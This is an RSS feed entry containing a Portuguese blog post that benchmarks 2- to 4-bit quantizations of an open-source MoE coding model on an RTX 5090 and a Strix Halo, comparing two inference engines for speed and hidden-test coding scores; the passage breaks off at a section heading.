<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hardware | AkitaOnRails.com</title><link>https://www.akitaonrails.com/tags/hardware/</link><description>Blog do Fabio Akita do Canal do YouTube 'Akitando' falando sobre tecnologia, carreira e coisas geek.</description><generator>Hugo -- gohugo.io</generator><language>pt-BR</language><lastBuildDate>Fri, 30 Oct 2026 02:34:21 +0000</lastBuildDate><atom:link href="https://www.akitaonrails.com/tags/hardware/index.xml" rel="self" type="application/rss+xml"/><item><title>LLM Benchmark: Quais as melhores LLMs open source pra hardware caseiro?</title><link>https://www.akitaonrails.com/2026/10/27/llm-benchmark-melhores-llms-open-source-hardware-caseiro/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/10/27/llm-benchmark-melhores-llms-open-source-hardware-caseiro/</guid><pubDate>Tue, 27 Oct 2026 13:00:00 -0300</pubDate><description>&lt;p&gt;No &lt;a href="https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-o-veredito-de-open-source-ate-out-2026/"&gt;último LLM Benchmark sobre modelos open source&lt;/a&gt;, eu fui até o limite do razoável. Aluguei B300, H200, pods com quatro GPUs, rodei quase 70 rodadas e gastei mais de US$ 6 mil na campanha inteira. Saíram candidatos muito bons, como DeepSeek V4.1 Flash, GLM 5.3 Flash e Qwen3.8 Flash-Next, todos chegando perto dos frontier no meu teste de programação.&lt;/p&gt;
&lt;p&gt;O problema continuava sendo a máquina. Um modelo de 510 GB que precisa de quatro B300 pode ser open source no GitHub, mas continua fora do alcance de quem quer rodar uma IA no escritório de casa.&lt;/p&gt;</description><content:encoded><![CDATA[<p>No <a href="/2026/10/22/llm-benchmark-v4-o-veredito-de-open-source-ate-out-2026/">último LLM Benchmark sobre modelos open source</a>, eu fui até o limite do razoável. Aluguei B300, H200, pods com quatro GPUs, rodei quase 70 rodadas e gastei mais de US$ 6 mil na campanha inteira. Saíram candidatos muito bons, como DeepSeek V4.1 Flash, GLM 5.3 Flash e Qwen3.8 Flash-Next, todos chegando perto dos frontier no meu teste de programação.</p>
<p>O problema continuava sendo a máquina. Um modelo de 510 GB que precisa de quatro B300 pode ser open source no GitHub, mas continua fora do alcance de quem quer rodar uma IA no escritório de casa.</p>
<p>Voltei pra minha RTX 5090 e pro Strix Halo. Desta vez, em vez de repetir o benchmark v4 inteiro em dezenas de modelos que já sabemos que não cabem ou não têm velocidade, peguei o candidato mais promissor e fui comparar <strong>as quantizações dele</strong>. Qual versão entrega qualidade suficiente sem transformar cada interação numa espera de vários minutos?</p>
<p>O resultado me surpreendeu: <strong>a versão de 2 bits ganhou</strong>. Depois repeti o teste com o <a href="https://github.com/jesdga95/basalt"target="_blank" rel="noopener">Basalt</a>, um fork do Strata especializado nas GPUs Blackwell. O modelo continuou acertando tudo e a geração chegou a <strong>400 tokens por segundo</strong>. A quantização não mudou; o engine mudou bastante o resultado.</p>
<h2>A RTX 3090 e a 4090 ganharam uma sobrevida<span class="hx:absolute hx:-mt-20" id="a-rtx-3090-e-a-4090-ganharam-uma-sobrevida"></span>
    <a href="#a-rtx-3090-e-a-4090-ganharam-uma-sobrevida" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes dos meus resultados, a comunidade descobriu uma limitação que dava pra remover. Nas GeForce RTX 20, certas operações Tensor Core FP16 com acumulação em FP32 rodam com metade da taxa teórica de emissão por ciclo das equivalentes profissionais. Nas RTX 30 e 40, o limite também atinge BF16.</p>
<p>O hardware está lá. Dois registradores internos selecionam a velocidade, e o driver normal não tem privilégio pra alterá-los.</p>
<p>O projeto <a href="https://github.com/Zagitta/gpu-unlock"target="_blank" rel="noopener">gpu-unlock</a> encontrou uma forma de mudar esses registradores antes do driver da NVIDIA assumir a placa. No Ampere, isso explora um buffer overflow no Booter assinado que autentica e carrega o GSP-RM. Nada é gravado na VBIOS. Pra voltar ao comportamento original, você remove o parâmetro de ativação e desliga a máquina por completo, porque os seletores voltam ao padrão quando a placa perde energia. Se o parâmetro continuar ativo, o módulo reaplica o unlock no próximo boot.</p>
<p>Também exige Linux, initramfs e bastante cuidado. Eu não recomendo sair instalando isso numa workstation de produção sem ler o código e entender o risco.</p>
<p>É um hack da comunidade, sem suporte oficial da NVIDIA. Você instala por sua conta e risco. O interesse pra LLM está em acelerar prefill quando o engine usa exatamente esse caminho dos Tensor Cores. Outras aplicações de compute, como alguns pipelines de geração de imagem, também podem mudar de desempenho. Jogos dependem de outros gargalos e caminhos da GPU, então não espere ganhar FPS com isso.</p>
<p>Numa RTX 3090 a 420 W, <a href="https://github.com/Zagitta/gpu-unlock/issues/85"target="_blank" rel="noopener">um teste controlado</a> mediu FP16 com acumulação em FP32 de 76,396 pra 125,006 TFLOPS; BF16 foi de 76,994 pra 127,923. Na 4090, uma implementação ainda experimental mediu aproximadamente o dobro da taxa de instruções FP16 e BF16.</p>
<p>Só que dobrar TFLOPS não dobra sua LLM. O <a href="https://dev.to/orca_forge/why-gpu-unlock-speeds-up-rtx-3090-prefill-but-barely-changes-decode-4572"target="_blank" rel="noopener">teste que motivou esta discussão</a> separou as duas fases:</p>
<ul>
<li><strong>Prefill</strong> é quando o modelo lê o prompt inteiro. Há muitos tokens disponíveis ao mesmo tempo, então o motor consegue montar operações matriciais grandes e paralelas. <a href="https://github.com/Zagitta/gpu-unlock/issues/33"target="_blank" rel="noopener">Uma 3090 ganhou 14,4%</a> numa carga de 16K tokens, enquanto uma dupla de 3080 modificadas ganhou <a href="https://github.com/Zagitta/gpu-unlock/issues/15"target="_blank" rel="noopener">33% a 36% com vLLM</a>.</li>
<li><strong>Decode</strong> é quando o modelo gera um token depois do outro. Em LLM quantizada com expert-offload, essa etapa fica limitada principalmente por banda de memória, RAM, PCIe e cache de especialistas. O ganho medido ficou dentro do ruído.</li>
</ul>
<p>O ganho varia bastante com engine, quantização e tamanho do prompt. Na dupla de 3080, o Qwen3.8 Flash-Next Q4_K_XL ganhou só 0,5% a 0,8% em 8K, mas chegou a 12% ou 13% em 32K e 128K. Num MoE IQ3_S testado numa 3090, uma carga perto de 32K não mudou. A rota de cálculo usada por uma quantização pode nem passar pelo caminho FP16/BF16 que foi liberado.</p>
<blockquote>
  <p>O gpu-unlock acelera um caminho específico dos Tensor Cores. Ele pode reduzir a espera pra ler prompts grandes, mas não transforma 24 GB em 96 GB e nem cria banda de memória.</p>

</blockquote>
<p>Mesmo com essa ressalva, 3090 e 4090 ficaram mais interessantes pra inferência local. Uma <a href="https://www.nvidia.com/en-us/geforce/graphics-cards/30-series/rtx-3090-3090ti/"target="_blank" rel="noopener">RTX 3090</a> usada ainda tem 24 GB de VRAM, NVLink na geração dela e 936 GB/s de banda. A comunidade mediu o Qwen3.8 Flash-Next em aproximadamente <a href="https://github.com/sybil-solutions/local-ai-registry/pull/212"target="_blank" rel="noopener">75 tok/s com IQ3_S e 100 tok/s com Q2_0</a> numa única 3090. Com duas placas, há relatos entre <a href="https://github.com/ruashots/flashnext-2x3090"target="_blank" rel="noopener">90 e 120 tok/s</a>, dependendo da configuração e do tamanho do contexto. Esses resultados são da comunidade, não desta rodada.</p>
<h2>Por que eu escolhi o Qwen3.8 Flash-Next<span class="hx:absolute hx:-mt-20" id="por-que-eu-escolhi-o-qwen38-flash-next"></span>
    <a href="#por-que-eu-escolhi-o-qwen38-flash-next" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No v4, os candidatos abertos que realmente me interessaram foram:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Onde rodei</th>
          <th style="text-align: right">Nota v4</th>
          <th style="text-align: right">Velocidade</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4.1 Flash</td>
          <td>4x B300, checkpoint nativo</td>
          <td style="text-align: right">92,5</td>
          <td style="text-align: right">174,8 tok/s</td>
      </tr>
      <tr>
          <td>GLM 5.3 Flash</td>
          <td>1x B300, NVFP4</td>
          <td style="text-align: right">92,5</td>
          <td style="text-align: right">142 tok/s</td>
      </tr>
      <tr>
          <td>Qwen3.8 Flash-Next</td>
          <td>1x B300, NVFP4</td>
          <td style="text-align: right">92,5</td>
          <td style="text-align: right">195 tok/s</td>
      </tr>
      <tr>
          <td>Qwen3.8 Flash-Next</td>
          <td>RTX 5090, IQ3_S</td>
          <td style="text-align: right">91,0</td>
          <td style="text-align: right">159,2 tok/s</td>
      </tr>
  </tbody>
</table>
<p>Os três empataram dentro da margem de ruído. Só o Qwen repetiu a qualidade numa máquina de consumidor. O modelo principal é um MoE de 125 bilhões de parâmetros, com aproximadamente 6 bilhões ativos por token, mais 51 bilhões em embeddings n-gram e uma cabeça MTP de 4 bilhões. O <a href="https://github.com/Niko1221/Strata"target="_blank" rel="noopener">Strata</a> deixa os especialistas mais usados na GPU, mantém os demais na RAM pra CPU calcular, lê a tabela n-gram do SSD e usa a camada MTP do próprio modelo pra especular os próximos tokens.</p>
<p>O backbone e o Engram do DeepSeek V4.1 somam aproximadamente 748 bilhões de parâmetros: 552 bilhões do backbone e 196 bilhões do Engram. O checkpoint publicado tem cerca de 763 bilhões no total. Eu servi a versão nativa mista FP4/FP8, de cerca de 510 GB, no pod de quatro B300.</p>
<p>Também consegui iniciar uma versão de 2 bits na 5090 com o engine dedicado do Strata. Ela gerou por volta de <strong>17 tokens por segundo</strong>. Tecnicamente roda. Pra agente de programação, está fora da disputa.</p>
<p>O checkpoint NVFP4 do GLM 5.3 Flash tinha cerca de 198 GB e foi servido na B300. Não existe neste repositório uma configuração de consumidor que eu tenha medido e possa recomendar. O GLM 4.7 Flash menor já tinha feito 24 pontos na 5090 e 33,5 na B300 no benchmark anterior. Gastar dias tentando fazer a família errada caber não produziria informação útil.</p>
<p>Também deixei Qwen 4 e Llama fora por escolha. Esta rodada tem uma pergunta estreita: <strong>qual versão do modelo que já provou qualidade funciona melhor nas duas máquinas que eu tenho?</strong></p>
<h2>O que eu testei<span class="hx:absolute hx:-mt-20" id="o-que-eu-testei"></span>
    <a href="#o-que-eu-testei" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Todo o código, os prompts, os testes escondidos e os resultados estão no <a href="https://github.com/akitaonrails/llm-opensource-benchmark"target="_blank" rel="noopener">llm-opensource-benchmark</a>. Testei quatro versões do Qwen3.8 Flash-Next:</p>
<table>
  <thead>
      <tr>
          <th>Quantização</th>
          <th style="text-align: right">Arquivos do modelo</th>
          <th>Ideia</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Q2_0</td>
          <td style="text-align: right">~62 GiB</td>
          <td>2 bits, menor e mais agressiva</td>
      </tr>
      <tr>
          <td>IQ3_XXS</td>
          <td style="text-align: right">~71 GiB</td>
          <td>3 bits, prioriza tamanho</td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">~78 GiB</td>
          <td>3 bits, mais precisão</td>
      </tr>
      <tr>
          <td>UD-Q4_K_XL</td>
          <td style="text-align: right">~104 GiB</td>
          <td>4 bits, maior preservação dos pesos</td>
      </tr>
  </tbody>
</table>
<p>Os arquivos do Strata incluem uma parte comum de PLE, então o tamanho total não cabe diretamente na VRAM. O engine faz o trabalho de distribuir os especialistas entre GPU e RAM. No Basalt, usei os packs próprios do projeto: um arquivo <code>.basalt</code> de 64,9 GiB pro Q2_0 e outro de 81,0 GiB pro IQ3_S. Cada arquivo já reúne pesos, tokenizer, MTP, perfil de especialistas e projetor de visão.</p>
<p>Na primeira rodada da RTX 5090, usei o backend CUDA do Strata com:</p>
<ul>
<li>4 GiB de VRAM reservados pro Hyprland, navegador e terminal;</li>
<li>cache de KV em <code>int8</code>, contexto máximo de 128K e 32K residentes na GPU;</li>
<li>cache elástico de especialistas;</li>
<li>especulação de quatro tokens com o MTP do modelo.</li>
</ul>
<p>Depois rodei Q2_0 e IQ3_S no Basalt, na mesma 5090 e com os mesmos 131.072 tokens de contexto máximo e KV em <code>int8</code>. Deixei 4.608 MiB reservados porque o Basalt contabiliza seus buffers de trabalho nessa margem. A VRAM livre ficou entre 3,6 e 4,4 GB durante os testes.</p>
<p>No Strix Halo, usei o backend <code>hip-halo</code>. Essa máquina tem 64 GB reservados pra GPU e GTT de 31 GB mapeado sobre a RAM do sistema; o limite de RAM do engine era 61,9 GiB. Como ela é headless, deixei a GPU inteira pro modelo e mantive 8 GiB de folga pro cache da conversa.</p>
<p>Nas medições do Strata são dois backends diferentes por baixo, CUDA na NVIDIA e HIP/ROCm na AMD, mas o mesmo engine e a mesma API compatível com OpenAI. O Basalt acrescenta uma comparação de engine na 5090, usando o mesmo OpenCode, os mesmos prompts e a mesma correção.</p>
<h2>A metodologia<span class="hx:absolute hx:-mt-20" id="a-metodologia"></span>
    <a href="#a-metodologia" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Comecei com um teste de velocidade em três situações:</p>
<ol>
<li>prompt frio de 4K tokens;</li>
<li>prompt frio rotulado como 32K, que o tokenizer do modelo contou como 42.400 tokens;</li>
<li>continuação da mesma conversa, reaproveitando o cache.</li>
</ol>
<p>Cada uma gera 256 tokens. O runner mede tempo até o primeiro token, leitura do prompt, geração, VRAM, RAM, potência e temperatura.</p>
<h3>O que cada número de velocidade quer dizer<span class="hx:absolute hx:-mt-20" id="o-que-cada-número-de-velocidade-quer-dizer"></span>
    <a href="#o-que-cada-n%c3%bamero-de-velocidade-quer-dizer" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Quando alguém diz que uma LLM faz 200 tokens por segundo, quase sempre está falando só da geração. Uma sessão de agente passa por fases diferentes, e cada uma encosta num gargalo diferente.</p>
<p><strong>Prefill</strong> é a leitura inicial do prompt. O modelo precisa processar as instruções do harness, histórico da conversa, arquivos e sua pergunta antes de soltar a primeira palavra. Como todos esses tokens já estão disponíveis, a GPU consegue trabalhar com matrizes grandes em paralelo.</p>
<p>Essa fase aproveita melhor Tensor Cores e poder bruto de cálculo. Quanto maior o contexto, mais ela pesa.</p>
<table>
  <thead>
      <tr>
          <th>Métrica</th>
          <th>O que mede</th>
          <th>O que você sente</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Prompt tok/s</td>
          <td>Vazão do prefill, quantos tokens de entrada são lidos por segundo</td>
          <td>Tempo pra digerir contexto novo</td>
      </tr>
      <tr>
          <td>TTFT (<em>time to first token</em>)</td>
          <td>Tempo total entre enviar a requisição e receber o primeiro token</td>
          <td>A pausa antes da resposta começar</td>
      </tr>
      <tr>
          <td>Decode ou output tok/s</td>
          <td>Velocidade de geração depois do primeiro token</td>
          <td>Ritmo do texto e das chamadas de ferramenta</td>
      </tr>
      <tr>
          <td>TPOT (<em>time per output token</em>)</td>
          <td>Tempo por token gerado, normalmente em p50 e p99 (ou p95)</td>
          <td>Regularidade da resposta; percentil alto denuncia travadas</td>
      </tr>
      <tr>
          <td>Wall time</td>
          <td>Tempo da tarefa inteira, incluindo ferramentas, testes, retries e texto gerado</td>
          <td>Produtividade real do agente</td>
      </tr>
  </tbody>
</table>
<p>O <strong>KV cache</strong> guarda os estados intermediários dos tokens já processados. Numa continuação da mesma conversa, o modelo reaproveita esse estado em vez de ler tudo de novo. Por isso o teste de append chega a dezenas de milhares de prompt tokens por segundo e recebe o primeiro token em cerca de meio segundo. Esse número mede reaproveitamento de cache; comparar com prefill frio seria fraude.</p>
<p>O KV também cresce com a conversa e disputa memória com pesos, especialistas e buffers. Aqui ele está em <code>int8</code>, com 32K residentes na 5090. Contexto máximo anunciado, contexto que cabe e contexto que continua rápido são três números diferentes.</p>
<p><strong>Speculative decoding</strong> usa uma camada de draft pra propor vários tokens e o modelo principal verifica o lote. Quando a taxa de aceitação é boa, o output tok/s sobe. Se o draft erra muito, o ganho desaparece. As velocidades do Strata já incluem MTP com especulação de quatro tokens. O Basalt também usa o MTP incluído no próprio pack, com seu mecanismo de especulação e seus defaults.</p>
<p>E falta uma métrica que eu não medi aqui: <strong>concorrência</strong>. Todos estes números são de um único stream. Um servidor pode atender várias sessões e aumentar a vazão agregada, mas cada usuário tende a receber menos tokens por segundo.</p>
<p>Pra uso individual, single-stream e wall time mandam. Pra uma equipe, precisa medir sessões simultâneas e latência por usuário, como fiz no <a href="/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/">teste com B300 e H200</a>.</p>
<p>Depois vieram dois testes de programação usando OpenCode 2.1.4. O modelo recebe uma pequena base Python, trabalha em uma sessão contínua e nunca vê os testes escondidos. Tudo roda em Bubblewrap, sem rede, com filesystem limitado e apenas um gateway local que aceita as chamadas pro modelo esperado.</p>
<p>O primeiro canário tem três turnos e 9 testes escondidos. O modelo precisa implementar um analisador de logs, corrigir bugs e lidar com mudança de requisitos.</p>
<p>O teste difícil tem quatro turnos e 36 testes escondidos. É um reconciliador de pagamentos com decisões enterradas num histórico de cerca de 79K tokens, uma decisão corrigida mais tarde, propostas rejeitadas servindo de distração, dinheiro que exige decimal exato e regras novas que interagem com as anteriores. Com o system prompt do OpenCode, o primeiro turno chega perto de 83K tokens.</p>
<h3>Uma régua separada do benchmark v4<span class="hx:absolute hx:-mt-20" id="uma-régua-separada-do-benchmark-v4"></span>
    <a href="#uma-r%c3%a9gua-separada-do-benchmark-v4" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Estes canários são muito menores e mais fáceis. No v4, o modelo trabalha num aplicativo Rails por sete sprints enquanto um revisor injeta 14 defeitos de segurança e de correção. A nota mede quantos ele encontra e corrige sozinho antes da revelação. É um teste de vigilância, com muito mais código, ferramentas e oportunidades de se perder.</p>
<p>Aqui são duas bases Python pequenas, três ou quatro turnos e testes funcionais escondidos. Eu montei essa régua pra comparar <strong>quantizações do mesmo Qwen</strong> e descobrir se reduzir os bits quebra requisitos, contexto ou processo. A comparação termina aí, sem ranquear Qwen contra Opus, GPT, DeepSeek ou qualquer outro modelo.</p>
<p>A nota 100 deste artigo pertence a outra escala, sem equivalência com 100 do v4. Ela também não torna o Q2_0 “melhor” que o IQ3_S que fez 91 no v4. O v4 escolheu o Qwen como candidato; este teste menor escolhe qual arquivo do Qwen vale carregar em casa.</p>
<blockquote>
  <p>Velocidade sem qualidade só faz o modelo errar mais rápido. Por isso eu medi as duas coisas separadamente.</p>

</blockquote>
<h2>Ranking de velocidade<span class="hx:absolute hx:-mt-20" id="ranking-de-velocidade"></span>
    <a href="#ranking-de-velocidade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>RTX 5090 com Strata, 4 GiB preservados pro desktop<span class="hx:absolute hx:-mt-20" id="rtx-5090-com-strata-4-gib-preservados-pro-desktop"></span>
    <a href="#rtx-5090-com-strata-4-gib-preservados-pro-desktop" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Quantização</th>
          <th style="text-align: right">Geração</th>
          <th style="text-align: right">Leitura da carga longa</th>
          <th style="text-align: right">Primeiro token</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Q2_0</strong></td>
          <td style="text-align: right"><strong>223 a 259 tok/s</strong></td>
          <td style="text-align: right"><strong>6.158 tok/s</strong></td>
          <td style="text-align: right"><strong>6,9 s</strong></td>
      </tr>
      <tr>
          <td>IQ3_XXS</td>
          <td style="text-align: right">196 a 241 tok/s</td>
          <td style="text-align: right">5.084 tok/s</td>
          <td style="text-align: right">8,3 s</td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">158 a 208 tok/s</td>
          <td style="text-align: right">6.233 tok/s</td>
          <td style="text-align: right">6,8 s</td>
      </tr>
      <tr>
          <td>UD-Q4_K_XL</td>
          <td style="text-align: right">44 a 52 tok/s</td>
          <td style="text-align: right">2.300 tok/s</td>
          <td style="text-align: right">19 s</td>
      </tr>
  </tbody>
</table>
<h3>RTX 5090 com Basalt<span class="hx:absolute hx:-mt-20" id="rtx-5090-com-basalt"></span>
    <a href="#rtx-5090-com-basalt" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Quantização</th>
          <th style="text-align: right">Geração</th>
          <th style="text-align: right">Leitura da carga longa</th>
          <th style="text-align: right">Primeiro token</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Q2_0</strong></td>
          <td style="text-align: right"><strong>377 a 400 tok/s</strong></td>
          <td style="text-align: right"><strong>8.573 tok/s</strong></td>
          <td style="text-align: right"><strong>4,9 s</strong></td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">223 a 231 tok/s</td>
          <td style="text-align: right">8.196 tok/s</td>
          <td style="text-align: right">5,2 s</td>
      </tr>
  </tbody>
</table>
<h3>Strix Halo, usando a GPU inteira<span class="hx:absolute hx:-mt-20" id="strix-halo-usando-a-gpu-inteira"></span>
    <a href="#strix-halo-usando-a-gpu-inteira" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Quantização</th>
          <th style="text-align: right">Geração</th>
          <th style="text-align: right">Leitura da carga longa</th>
          <th style="text-align: right">Primeiro token</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Q2_0</strong></td>
          <td style="text-align: right"><strong>55 a 65 tok/s</strong></td>
          <td style="text-align: right"><strong>371 tok/s</strong></td>
          <td style="text-align: right"><strong>114 s</strong></td>
      </tr>
      <tr>
          <td>IQ3_XXS</td>
          <td style="text-align: right">50 a 57 tok/s</td>
          <td style="text-align: right">347 tok/s</td>
          <td style="text-align: right">122 s</td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">47 a 50 tok/s</td>
          <td style="text-align: right">338 tok/s</td>
          <td style="text-align: right">125 s</td>
      </tr>
      <tr>
          <td>UD-Q4_K_XL</td>
          <td style="text-align: right">17 tok/s num prompt de 4K</td>
          <td style="text-align: right">137 tok/s</td>
          <td style="text-align: right">não terminou</td>
      </tr>
  </tbody>
</table>
<p>A 5090 tem 32 GB de GDDR7 e <a href="https://www.nvidia.com/en-us/geforce/graphics-cards/50-series/rtx-5090/"target="_blank" rel="noopener">1.792 GB/s de banda</a>. O Strix tem mais capacidade total, mas seus aproximadamente 256 GB/s precisam servir o sistema inteiro. Mesmo usando o Strata nos dois, a diferença aparece principalmente no prefill: 6,9 segundos contra quase 2 minutos pra começar a responder a carga de 42.400 tokens. No Basalt, a 5090 baixou essa espera pra 4,9 segundos.</p>
<p>O Q4 foi o pior dos dois mundos. Na 5090 ele rodou devagar e o <code>systemd-oomd</code> matou o teste de qualidade. No Strix, zerou a VRAM, começou a paginar e travou a máquina até reboot. Mais bits preservam mais informação, mas ocupam mais memória e reduzem o cache quente que faz esse MoE andar.</p>
<h2>Basalt contra Strata<span class="hx:absolute hx:-mt-20" id="basalt-contra-strata"></span>
    <a href="#basalt-contra-strata" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://github.com/jesdga95/basalt"target="_blank" rel="noopener">Basalt</a> nasceu como fork do Strata, só que tomou uma direção mais específica: Linux ou Windows, CUDA 13 e GPU NVIDIA Blackwell com compute capability 12.0. A 5090 entra exatamente nesse alvo. O Strata continua muito mais abrangente e foi o que permitiu rodar o mesmo Qwen no Strix Halo com AMD.</p>
<p>Os dois resolvem o mesmo problema central. Na configuração testada, os especialistas que não cabem na VRAM ficam na RAM, enquanto a GPU mantém uma parte quente. Basalt e Strata expõem API compatível com OpenAI e Anthropic e aceleram a geração com seus drafters MTP. O Basalt empacota tudo num único arquivo e traz kernels, gerenciamento de memória e execução especulativa trabalhados especificamente pra Blackwell.</p>
<p>Este foi um A/B prático entre stacks completos, sem isolar uma única otimização. Os packs são próprios de cada engine, os defaults não são idênticos e o Basalt reservou 4.608 MiB de VRAM contra 4.096 MiB do Strata. Mantive a mesma RTX 5090, as mesmas quantizações, contexto máximo de 131K, KV em <code>int8</code>, mesmo OpenCode e os mesmos testes.</p>
<p>Nesse A/B, o Basalt ganhou em todas as métricas de velocidade e empatou nos resultados funcionais de código. O Q2_0 saiu de 223 a 259 pra 377 a 400 tokens por segundo. A leitura da carga longa foi de 6.158 pra 8.573 tokens por segundo, e a espera pelo primeiro token caiu de 6,9 pra 4,9 segundos. No IQ3_S, a geração saiu da faixa de 158 a 208 pra 223 a 231 tokens por segundo.</p>
<p>O recorte de plataforma decide a escolha. Numa RTX 5090, eu começaria pelo Basalt. No Strix, em NVIDIA anterior a Blackwell ou em outro hardware suportado, o Strata continua sendo o caminho. O Strata cobre justamente os lugares onde o Basalt nem roda.</p>
<h2>Ranking de qualidade<span class="hx:absolute hx:-mt-20" id="ranking-de-qualidade"></span>
    <a href="#ranking-de-qualidade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O teste simples não separou nada:</p>
<table>
  <thead>
      <tr>
          <th>Quantização</th>
          <th style="text-align: right">RTX 5090</th>
          <th style="text-align: right">Strix Halo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Q2_0</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">100</td>
      </tr>
      <tr>
          <td>IQ3_XXS</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">100</td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">100</td>
      </tr>
  </tbody>
</table>
<p>Todas passaram os 9 testes escondidos, preservaram os requisitos e terminaram com a suíte visível verde. Precisei aumentar a dificuldade.</p>
<p>No canário difícil, rodei Q2_0 e IQ3_S três vezes cada na 5090 com Strata:</p>
<table>
  <thead>
      <tr>
          <th>Rodada</th>
          <th style="text-align: right">Nota</th>
          <th style="text-align: right">Testes escondidos</th>
          <th style="text-align: right">Tempo dos 4 turnos</th>
          <th style="text-align: right">Tokens de saída</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Q2_0 r1</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">5,3 min</td>
          <td style="text-align: right">70K</td>
      </tr>
      <tr>
          <td>Q2_0 r2</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">8,8 min</td>
          <td style="text-align: right">117K</td>
      </tr>
      <tr>
          <td>Q2_0 r3</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">7,4 min</td>
          <td style="text-align: right">100K</td>
      </tr>
      <tr>
          <td>IQ3_S r1</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">11,9 min</td>
          <td style="text-align: right">110K</td>
      </tr>
      <tr>
          <td>IQ3_S r2</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">13,3 min</td>
          <td style="text-align: right">127K</td>
      </tr>
      <tr>
          <td>IQ3_S r3</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">11,1 min</td>
          <td style="text-align: right">98K</td>
      </tr>
  </tbody>
</table>
<p>As duas acertaram tudo nas três rodadas. Encontraram as decisões no contexto longo, respeitaram a correção posterior, lidaram com eventos fora de ordem, chargebacks, câmbio e fizeram o refactor final. Também passaram por quantidade parecida de testes quebrados enquanto trabalhavam.</p>
<p>A diferença ficou no relógio. <strong>Q2_0 levou 7,2 minutos em média. IQ3_S levou 12,1.</strong> O modelo de 2 bits entregou o mesmo resultado em aproximadamente 60% do tempo.</p>
<p>Depois repeti as seis rodadas no Basalt:</p>
<table>
  <thead>
      <tr>
          <th>Rodada</th>
          <th style="text-align: right">Nota</th>
          <th style="text-align: right">Testes escondidos</th>
          <th style="text-align: right">Tempo dos 4 turnos</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Q2_0 r1</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">5,9 min</td>
      </tr>
      <tr>
          <td>Q2_0 r2</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">4,2 min</td>
      </tr>
      <tr>
          <td>Q2_0 r3</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">6,3 min</td>
      </tr>
      <tr>
          <td>IQ3_S r1</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">5,8 min</td>
      </tr>
      <tr>
          <td>IQ3_S r2</td>
          <td style="text-align: right">96*</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">11,3 min</td>
      </tr>
      <tr>
          <td>IQ3_S r3</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">10,1 min</td>
      </tr>
  </tbody>
</table>
<p>A penalização que derrubou a segunda rodada do IQ3_S pra 96 foi um falso positivo conhecido do harness. O modelo executou <code>ps aux</code> dentro do sandbox, e o comando mostrou a linha do próprio <code>bwrap</code>, que contém caminhos do host. O detector interpretou isso como tentativa de acessar os testes escondidos e tirou quatro pontos. O modelo não usou esses caminhos, os testes escondidos só são montados depois, na correção, e os 36 passaram.</p>
<p>No Basalt, o Q2_0 levou <strong>5,4 minutos em média</strong>, contra 7,2 no Strata. O IQ3_S caiu de 12,1 pra <strong>9,0 minutos</strong>. O ganho de ponta a ponta é menor que o salto de tokens por segundo porque a sessão também gasta tempo executando ferramentas e testes, e cada rodada gerou uma quantidade diferente de texto.</p>
<p>A evidência vale para bases Python pequenas, com contexto de até uns 85K tokens, e apenas três repetições por combinação de engine e quantização no canário difícil. Quantização de 2 bits costuma sofrer primeiro em contexto acima de 100K e em bases maiores. Dentro do uso que medi, gastar mais bits não comprou nenhuma qualidade.</p>
<h2>O que cada versão mostrou<span class="hx:absolute hx:-mt-20" id="o-que-cada-versão-mostrou"></span>
